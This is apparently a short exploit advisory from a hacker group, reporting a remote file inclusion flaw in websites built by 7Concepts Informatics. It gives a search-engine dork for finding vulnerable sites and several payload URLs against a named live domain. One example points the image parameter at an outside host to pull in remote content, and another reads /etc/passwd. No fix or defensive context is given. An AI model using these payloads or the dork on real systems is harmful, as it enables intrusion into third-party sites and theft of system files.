======================================================================= # Title : Powered by 7Concepts Informatics Remote File Inculsion Vulnerability [ RFI ] # Author : Dj3Bb4rAn0n ( bassem ) FB/djebbar.bassem.16 # Date : /11/04/2019 # Home : Annaba ( Algeria ) # Tested on : Linux ( Backbox ) # Vendor : http://it.7concepts.in/ # Dork : intext:"Powered by 7Concepts Informatics" ======================================================================= Poc : [ + ] http://www.7concepts.in/image.php?img=/opt/images/products//37_image%20(4).jpg [ + ] http://www.7concepts.in/image.php?img= [ PAYLOAD ] Exa : ----------------------------------------------------------------------------------------------------- [ + ] http://www.7concepts.in/image.php?img=http://cloabejaia.dz/pw3n.htm ------------------------------------------------------------------------------------------------------ Exa : [ + ] http://www.7concepts.in/image.php?img=/etc/passwd ---------------------------------------------------------------------------------------------------- ####### Greetz to ########## Lakarha_23 | Mohammed pazzo | JAG AR & all annaba hackers #########################